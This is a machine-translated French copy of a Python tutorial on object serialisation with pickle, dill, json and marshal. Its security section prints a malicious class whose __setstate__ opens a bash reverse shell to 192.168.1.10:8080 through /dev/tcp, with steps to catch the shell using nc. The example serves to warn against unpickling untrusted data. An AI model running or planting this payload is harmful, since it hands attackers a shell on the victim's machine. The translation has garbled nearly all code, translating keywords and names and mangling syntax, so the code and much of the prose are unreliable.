Python pas cher
- Techniques avancées d'importation Python et gestion des utilisateurs dans Django – Le vrai podcast Python
- 15 meilleurs formulaire de réservation d'hôtel WordPress Plugins
- Comment marquer votre site WordPress
- 25+ meilleurs thèmes WordPress pour le commerce électronique dans les magasins en ligne
- Traitement du signal Python – Python réel
En tant que développeur, vous devrez parfois envoyer des hiérarchies d'objets complexes sur un réseau ou enregistrer l'état interne de vos objets sur un disque ou une base de données pour une utilisation ultérieure. Pour ce faire, vous pouvez utiliser un processus appelé sérialisation, qui est entièrement pris en charge par la bibliothèque standard grâce à Python cornichon
module.
Dans ce didacticiel, vous apprendrez:
- Ce que cela signifie sérialiser et désérialiser un objet
- Lequel modules vous pouvez utiliser pour sérialiser des objets en Python
- Quels types d'objets peuvent être sérialisés avec Python
cornichon
module - Comment utiliser le Python
cornichon
module pour sérialiser hiérarchies d'objets - Qu'est-ce que des risques sont lors de la désérialisation d'un objet d'une source non fiable
Passons au décapage!
Bonus gratuit: 5 réflexions sur la maîtrise de Python, un cours gratuit pour les développeurs Python qui vous montre la feuille de route et l'état d'esprit dont vous aurez besoin pour faire passer vos compétences Python au niveau supérieur.
Sérialisation en Python
le sérialisation est un moyen de convertir une structure de données en une forme linéaire qui peut être stockée ou transmise sur un réseau.
En Python, la sérialisation vous permet de prendre une structure d'objet complexe et de la transformer en un flux d'octets qui peut être enregistré sur un disque ou envoyé sur un réseau. Vous pouvez également voir ce processus appelé triage. Le processus inverse, qui prend un flux d'octets et le reconvertit en une structure de données, est appelé désérialisation ou démêler.
La sérialisation peut être utilisée dans de nombreuses situations différentes. L'une des utilisations les plus courantes consiste à enregistrer l'état d'un réseau neuronal après la phase de formation afin de pouvoir l'utiliser plus tard sans avoir à refaire la formation.
Python propose trois modules différents dans la bibliothèque standard qui vous permettent de sérialiser et de désérialiser des objets:
- le
maréchal
module - le
json
module - le
cornichon
module
De plus, Python prend en charge XML, que vous pouvez également utiliser pour sérialiser des objets.
le maréchal
module est le plus ancien des trois énumérés ci-dessus. Il existe principalement pour lire et écrire le bytecode compilé des modules Python, ou le .pyc
les fichiers que vous obtenez lorsque l'interpréteur importe un module Python. Donc, même si vous pouvez utiliser maréchal
pour sérialiser certains de vos objets, ce n'est pas recommandé.
le json
module est le plus récent des trois. Il vous permet de travailler avec des fichiers JSON standard. JSON est un format très pratique et largement utilisé pour l'échange de données.
Il y a plusieurs raisons de choisir le format JSON: c'est lisible par l'homme et indépendant de la langueet il est plus léger que XML. Avec le json
module, vous pouvez sérialiser et désérialiser plusieurs types Python standard:
Le Python cornichon
module est une autre façon de sérialiser et de désérialiser des objets en Python. Il diffère du json
module en ce qu'il sérialise les objets dans un format binaire, ce qui signifie que le résultat n'est pas lisible par l'homme. Cependant, il est également plus rapide et fonctionne avec de nombreux autres types de Python dès la sortie de l'emballage, y compris vos objets personnalisés.
Remarque: À partir de maintenant, vous verrez les termes décapage et décapage utilisé pour faire référence à la sérialisation et à la désérialisation avec le Python cornichon
module.
Ainsi, vous disposez de plusieurs méthodes pour sérialiser et désérialiser des objets en Python. Mais lequel devez-vous utiliser? La réponse courte est qu’il n’existe pas de solution unique. Tout dépend de votre cas d'utilisation.
Voici trois directives générales pour décider de l'approche à utiliser:
-
N'utilisez pas le
maréchal
module. Il est principalement utilisé par l’interprète, et la documentation officielle avertit que les responsables de Python peuvent modifier le format de manière incompatible en amont. -
le
json
module et XML sont de bons choix si vous avez besoin d'interopérabilité avec différentes langues ou un format lisible par l'homme. -
Le Python
cornichon
module est un meilleur choix pour tous les cas d'utilisation restants. Si vous n'avez pas besoin d'un format lisible par l'homme ou d'un format interopérable standard, ou si vous avez besoin de sérialiser des objets personnalisés, alors allez aveccornichon
.
À l'intérieur du Python cornichon
Module
Le Python cornichon
module se compose essentiellement de quatre méthodes:
pickle.dump (obj, file, protocol = None, *, fix_imports = True, buffer_callback = None)
pickle.dumps (obj, protocol = None, *, fix_imports = True, buffer_callback = None)
pickle.load (fichier, *, fix_imports = True, encoding = "ASCII", errors = "strict", buffers = None)
pickle.loads (bytes_object, *, fix_imports = True, encoding = "ASCII", errors = "strict", buffers = None)
Les deux premières méthodes sont utilisées pendant le processus de décapage et les deux autres sont utilisées pendant le décapage. La seule différence entre déverser()
et vidages ()
est que le premier crée un fichier contenant le résultat de la sérialisation, tandis que le second renvoie une chaîne.
À différencier vidages ()
de déverser()
, il est utile de se rappeler que le s
à la fin du nom de la fonction signifie chaîne
. Le même concept s'applique également aux charge()
et charges()
: Le premier lit un fichier pour démarrer le processus de décompression, et le second opère sur une chaîne.
Prenons l'exemple suivant. Supposons que vous ayez une classe personnalisée nommée classe_exemple
avec plusieurs attributs différents, chacun d'un type différent:
un numéro
un string
un dictionnaire
une liste
a_tuple
L'exemple ci-dessous montre comment vous pouvez instancier la classe et décaper l'instance pour obtenir une chaîne simple. Après avoir décapé la classe, vous pouvez modifier la valeur de ses attributs sans affecter la chaîne décapée. Vous pouvez ensuite décompresser la chaîne picklée dans une autre variable, en restaurant une copie exacte de la classe précédemment picklée:
# pickling.py
importation cornichon
classe classe_exemple:
un numéro = 35
un string = "Hey"
une liste = [[[[1, 2, 3]
a_dict = "première": "une", "seconde": 2, "troisième": [[[[1, 2, 3]
a_tuple = (22, 23)
mon_objet = classe_exemple()
my_pickled_object = cornichon.décharges(mon_objet) # Décapage de l'objet
impression(F"Voici mon objet mariné: nmy_pickled_object n")
mon_objet.a_dict = Aucun
my_unpickled_object = cornichon.charges(my_pickled_object) # Déballage de l'objet
impression(
F"Ceci est un_dict de l'objet décroché: nmy_unpickled_object.a_dict n")
Dans l'exemple ci-dessus, vous créez plusieurs objets différents et les sérialisez avec cornichon
. Cela produit une seule chaîne avec le résultat sérialisé:
$ python pickling.py
Voici mon objet mariné:
b ' x80 x03c__main __ nexample_class nq x00) x81q x01.'
Ceci est un_dict de l'objet décroché:
'premier': 'a', 'deuxième': 2, 'troisième': [1, 2, 3]
Le processus de décapage se termine correctement, stockant votre instance entière dans cette chaîne: b ' x80 x03c__main __ nexample_class nq x00) x81q x01.'
Une fois le processus de décapage terminé, vous modifiez votre objet d'origine en définissant l'attribut a_dict
à Aucun
.
Enfin, vous décomplez la chaîne vers une instance complètement nouvelle. Ce que vous obtenez est une copie complète de la structure de votre objet d'origine depuis le début du processus de décapage.
Formats de protocole du Python cornichon
Module
Comme mentionné ci-dessus, le cornichon
Le module est spécifique à Python et le résultat d'un processus de décapage ne peut être lu que par un autre programme Python. Mais même si vous travaillez avec Python, il est important de savoir que le cornichon
module a évolué au fil du temps.
Cela signifie que si vous avez décapé un objet avec une version spécifique de Python, vous ne pourrez peut-être pas le décaper avec une version plus ancienne. La compatibilité dépend de la version du protocole que vous avez utilisée pour le processus de décapage.
Il existe actuellement six protocoles différents que Python cornichon
module peut utiliser. Plus la version du protocole est élevée, plus l'interpréteur Python doit être récent pour le décryptage.
- Version de protocole 0 était la première version. Contrairement aux protocoles ultérieurs, il est lisible par l'homme.
- Version du protocole 1 était le premier format binaire.
- Protocole version 2 a été introduit dans Python 2.3.
- Protocole version 3 a été ajouté dans Python 3.0. Il ne peut pas être décroché par Python 2.x.
- Protocole version 4 a été ajouté dans Python 3.4. Il prend en charge une plus large gamme de tailles et de types d'objets et est le protocole par défaut à partir de Python 3.8.
- Protocole version 5 a été ajouté dans Python 3.8. Il prend en charge les données hors bande et des vitesses améliorées pour les données intrabande.
Remarque: Les versions plus récentes du protocole offrent plus de fonctionnalités et d'améliorations mais sont limitées aux versions supérieures de l'interpréteur. Assurez-vous d'en tenir compte lors du choix du protocole à utiliser.
Pour identifier le protocole le plus élevé pris en charge par votre interprète, vous pouvez vérifier la valeur du pickle.HIGHEST_PROTOCOL
attribut.
Pour choisir un protocole spécifique, vous devez spécifier la version du protocole lorsque vous appelez charge()
, charges()
, déverser()
ou vidages ()
. Si vous ne spécifiez pas de protocole, votre interprète utilisera la version par défaut spécifiée dans le pickle.DEFAULT_PROTOCOL
attribut.
Types picklable et unpicklable
Vous avez déjà appris que le Python cornichon
module peut sérialiser beaucoup plus de types que json
module. Cependant, tout n'est pas picklable. La liste des objets non récupérables comprend les connexions à la base de données, les sockets réseau ouverts, les threads en cours d'exécution et autres.
Si vous vous retrouvez face à un objet non récupérable, vous pouvez faire deux ou trois choses. La première option consiste à utiliser une bibliothèque tierce telle que aneth
.
le aneth
module étend les capacités de cornichon
. Selon la documentation officielle, il vous permet de sérialiser des types moins courants comme les fonctions avec des rendements, des fonctions imbriquées, des lambdas et bien d'autres.
Pour tester ce module, vous pouvez essayer de lambda
une fonction:
# pickling_error.py
importation cornichon
carré = lambda X : X * X
my_pickle = cornichon.décharges(carré)
Si vous essayez d'exécuter ce programme, vous obtiendrez une exception car le Python cornichon
module ne peut pas sérialiser un lambda
une fonction:
$ python pickling_error.py
Traceback (dernier appel le plus récent):
Fichier "pickling_error.py", ligne 6, dans
my_pickle = pickle.dumps (carré)
_pickle.PicklingError: Can't pickle <fonction à 0x10cd52cb0>: recherche d'attribut sur __main__ a échoué
Essayez maintenant de remplacer le Python cornichon
module avec aneth
pour voir s'il y a une différence:
# pickling_dill.py
importation aneth
carré = lambda X: X * X
my_pickle = aneth.décharges(carré)
impression(my_pickle)
Si vous exécutez ce code, vous verrez que le aneth
module sérialise le lambda
sans retourner d'erreur:
$ python pickling_dill.py
b ' x80 x03cdill._dill n_create_function nq x00 (cdill._dill n_load_type nq x01X x08 x00 x00 x00CodeTypeq x02 x85q x03Rq x04 (K x01K x00K x08 | x00 | x00 x14 x00S x00q x05N x85q x06) X x01 x00 x00 x00xq x07 x85q x08X x10 x00 x00 x00pickling_dill.pyq tX t x00 x00 x00squareq nK x04C x00q x0b)) tq x0cRq rc__builtin __ n__main __ nh nNN} q x0eNtq x0fRq x10. '
Une autre caractéristique intéressante de aneth
est qu'il peut même sérialiser une session d'interprète entière. Voici un exemple:
>>> carré = lambda X : X * X
>>> une = carré(35)
>>> importation math
>>> b = math.sqrt(484)
>>> importation aneth
>>> aneth.dump_session('test.pkl')
>>> sortie()
Dans cet exemple, vous démarrez l'interpréteur, importez un module et définissez un lambda
fonction avec quelques autres variables. Vous importez ensuite le aneth
module et invoquer dump_session ()
pour sérialiser la session entière.
Si tout se passe bien, vous devriez obtenir un test.pkl
fichier dans votre répertoire actuel:
$ ls test.pkl
4 -rw-r - r - @ 1 dave staff 439 3 fév 10:52 test.pkl
Vous pouvez maintenant démarrer une nouvelle instance de l'interpréteur et charger le test.pkl
fichier pour restaurer votre dernière session:
>>> globales().articles()
dict_items ([('__name__''__main__')('__doc__'Aucun)('__package__'Aucun)('__loader__'[('__name__''__main__')('__doc__'Aucun)('__package__'Aucun)('__loader__'[('__name__''__main__')('__doc__'None)('__package__'None)('__loader__'[('__name__''__main__')('__doc__'None)('__package__'None)('__loader__'), ('__spec__', Aucun), ('__annotations__', ), ('__builtins__', )])
>>> importation aneth
>>> aneth.load_session('test.pkl')
>>> globales().articles()
dict_items ([('__name__''__main__')('__doc__'Aucun)('__package__'Aucun)('__loader__'[('__name__''__main__')('__doc__'Aucun)('__package__'Aucun)('__loader__'[('__name__''__main__')('__doc__'None)('__package__'None)('__loader__'[('__name__''__main__')('__doc__'None)('__package__'None)('__loader__'), ('__spec__', Aucun), ('__annotations__', ), ('__builtins__', ), ('aneth', ), ('carré', <fonction à 0x10a013a70>), ('a', 1225), ('math', ), («b», 22.0)])
>>> une
1225
>>> b
22,0
>>> carré
<fonction à 0x10a013a70>
La première globaux (). items ()
indique que l'interpréteur est dans l'état initial. Cela signifie que vous devez importer le aneth
module et appel load_session ()
pour restaurer votre session d'interpréteur sérialisé.
Remarque: Avant d'utiliser aneth
au lieu de cornichon
, garde en tête que aneth
n'est pas inclus dans la bibliothèque standard de l'interpréteur Python et est généralement plus lent que cornichon
.
Même si aneth
vous permet de sérialiser une gamme d'objets plus large que cornichon
, il ne peut pas résoudre tous les problèmes de sérialisation que vous pourriez rencontrer. Si vous avez besoin de sérialiser un objet contenant une connexion à une base de données, par exemple, vous êtes dans une situation difficile, car il s'agit d'un objet non sérialisable même pour aneth
.
Alors, comment pouvez-vous résoudre ce problème?
La solution dans ce cas consiste à exclure l'objet du processus de sérialisation et à réinitialiser la connexion après la désérialisation de l'objet.
Vous pouvez utiliser __getstate __ ()
définir ce qui doit être inclus dans le processus de décapage. Cette méthode vous permet de spécifier ce que vous voulez décaper. Si vous ne remplacez pas __getstate __ ()
, puis l'instance par défaut __dict__
sera utilisé.
Dans l'exemple suivant, vous allez voir comment définir une classe avec plusieurs attributs et exclure un attribut de la sérialisation avec __getstate () __
:
# custom_pickling.py
importation cornichon
classe foobar:
def __init__(soi):
soi.une = 35
soi.b = "tester"
soi.c = lambda X: X * X
def __getstate__(soi):
les attributs = soi.__dict__.copie()
del les attributs[[[[«c»]
revenir les attributs
my_foobar_instance = foobar()
my_pickle_string = cornichon.décharges(my_foobar_instance)
my_new_instance = cornichon.charges(my_pickle_string)
impression(my_new_instance.__dict__)
Dans cet exemple, vous créez un objet avec trois attributs. Puisqu'un attribut est un lambda
, l'objet n'est pas récupérable avec la norme cornichon
module.
Pour résoudre ce problème, vous spécifiez avec quoi décaper __getstate __ ()
. Vous clonez d'abord l'ensemble __dict__
de l'instance pour que tous les attributs soient définis dans la classe, puis vous supprimez manuellement le décrocheur c
attribut.
Si vous exécutez cet exemple, puis désérialisez l'objet, vous verrez que la nouvelle instance ne contient pas le c
attribut:
$ python custom_pickling.py
'a': 35, 'b': 'test'
Mais que se passe-t-il si vous souhaitez effectuer des initialisations supplémentaires tout en décompressant, par exemple en ajoutant les exclus c
revenir à l'instance désérialisée? Vous pouvez accomplir cela avec __setstate __ ()
:
# custom_unpickling.py
importation cornichon
classe foobar:
def __init__(soi):
soi.une = 35
soi.b = "tester"
soi.c = lambda X: X * X
def __getstate__(soi):
les attributs = soi.__dict__.copie()
del les attributs[[[[«c»]
revenir les attributs
def __setstate__(soi, Etat):
soi.__dict__ = Etat
soi.c = lambda X: X * X
my_foobar_instance = foobar()
my_pickle_string = cornichon.décharges(my_foobar_instance)
my_new_instance = cornichon.charges(my_pickle_string)
impression(my_new_instance.__dict__)
En passant les exclus c
s'opposer à __setstate __ ()
, vous vous assurez qu'il apparaît dans le __dict__
de la chaîne non décapée.
Compression d'objets marinés
Bien que le cornichon
le format de données est une représentation binaire compacte d'une structure d'objet, vous pouvez toujours optimiser votre chaîne décapée en la compressant avec bzip2
ou gzip
.
Pour compresser une chaîne marinée avec bzip2
, vous pouvez utiliser le bz2
module fourni dans la bibliothèque standard.
Dans l'exemple suivant, vous prendrez une chaîne, la décaperez, puis la compresserez à l'aide du bz2
bibliothèque:
>>> importation cornichon
>>> importation bz2
>>> my_string = "" "Per me si va ne la città dolente,
... par moi si va ne l'etterno dolore,
... par moi si va tra la perduta gente.
... Giustizia mosse il mio alto fattore:
... podestate de fecemi la divina,
... la somma sapienza e 'l primo amore;
... dinanzi a me non fuor cose create
... se non etterne, e io etterno duro.
... Lasciate ogne speranza, voi ch'intrate. "" "
>>> mariné = cornichon.décharges(my_string)
>>> comprimé = bz2.compresse(mariné)
>>> len(my_string)
315
>>> len(comprimé)
259
Lorsque vous utilisez la compression, gardez à l'esprit que les fichiers plus petits se font au prix d'un processus plus lent.
Problèmes de sécurité avec Python cornichon
Module
Vous savez maintenant utiliser le cornichon
module pour sérialiser et désérialiser des objets en Python. Le processus de sérialisation est très pratique lorsque vous devez enregistrer l’état de votre objet sur le disque ou le transmettre sur un réseau.
Cependant, il y a encore une chose que vous devez savoir sur Python cornichon
module: Ce n'est pas sécurisé. Vous souvenez-vous de la discussion __setstate __ ()
? Eh bien, cette méthode est idéale pour faire plus d'initialisation lors du décryptage, mais elle peut également être utilisée pour exécuter du code arbitraire pendant le processus de décompression!
Alors, que pouvez-vous faire pour réduire ce risque?
Malheureusement, pas grand-chose. La règle d'or consiste à ne jamais décaper les données provenant d'une source non fiable ou transmises sur un réseau non sécurisé. Afin de prévenir les attaques de l'homme du milieu, c'est une bonne idée d'utiliser des bibliothèques telles que hmac
pour signer les données et vous assurer qu'elles n'ont pas été falsifiées.
L'exemple suivant illustre comment le décrochement d'un cornichon trafiqué pourrait exposer votre système aux attaquants, leur donnant même un shell distant fonctionnel:
# remote.py
importation cornichon
importation os
classe foobar:
def __init__(soi):
passer
def __getstate__(soi):
revenir soi.__dict__
def __setstate__(soi, Etat):
# L'attaque est de 192.168.1.10
# L'attaquant écoute sur le port 8080
os.système('/ bin / bash -c
"/ bin / bash -i> & /dev/tcp/192.168.1.10/8080 0> & 1"')
my_foobar = foobar()
my_pickle = cornichon.décharges(my_foobar)
my_unpickle = cornichon.charges(my_pickle)
Dans cet exemple, le processus de décrochage s'exécute __setstate __ ()
, qui exécute une commande Bash pour ouvrir un shell distant sur le 192.168.1.10
machine sur le port 8080
.
Voici comment tester ce script en toute sécurité sur votre Mac ou votre Linux box. Tout d'abord, ouvrez le terminal et utilisez le NC
commande pour écouter une connexion au port 8080:
Ce sera le attaquant Terminal. Si tout fonctionne, la commande semble se bloquer.
Ensuite, ouvrez un autre terminal sur le même ordinateur (ou sur tout autre ordinateur du réseau) et exécutez le code Python ci-dessus pour décrypter le code malveillant. Assurez-vous de remplacer l'adresse IP du code par l'adresse IP de votre terminal attaquant. Dans mon exemple, l'adresse IP de l'attaquant est 192.168.1.10
.
En exécutant ce code, la victime exposera un shell à l'attaquant:
Si tout fonctionne, un shell Bash apparaîtra sur la console d'attaque. Cette console peut désormais fonctionner directement sur le système attaqué:
$ nc -l 8080
bash: pas de contrôle des travaux dans ce shell
Le shell interactif par défaut est maintenant zsh.
Pour mettre à jour votre compte pour utiliser zsh, veuillez exécuter `chsh -s / bin / zsh`.
Pour plus de détails, veuillez visiter https://support.apple.com/kb/HT208050.
bash-3.2 $
Alors, je répète encore une fois ce point critique: N'utilisez pas le cornichon
module pour désérialiser des objets de sources non fiables!
Conclusion
Vous savez maintenant utiliser le Python cornichon
module pour convertir une hiérarchie d'objets en un flux d'octets qui peut être enregistré sur un disque ou transmis sur un réseau. Vous savez également que le processus de désérialisation en Python doit être utilisé avec précaution, car décrypter quelque chose qui provient d'une source non fiable peut être extrêmement dangereux.
Dans ce didacticiel, vous avez appris:
- Ce que cela signifie sérialiser et désérialiser un objet
- Lequel modules vous pouvez utiliser pour sérialiser des objets en Python
- Quels types d'objets peuvent être sérialisés avec Python
cornichon
module - Comment utiliser le Python
cornichon
module pour sérialiser hiérarchies d'objets - Qu'est-ce que des risques sont de décapage à partir d'une source non fiable
Avec ces connaissances, vous êtes bien équipé pour conserver vos objets en utilisant Python cornichon
module. En prime, vous êtes prêt à expliquer les dangers de la désérialisation de cornichons malveillants à vos amis et collègues.
Si vous avez des questions, laissez un commentaire ci-dessous ou contactez-moi au Twitter!
[ad_2]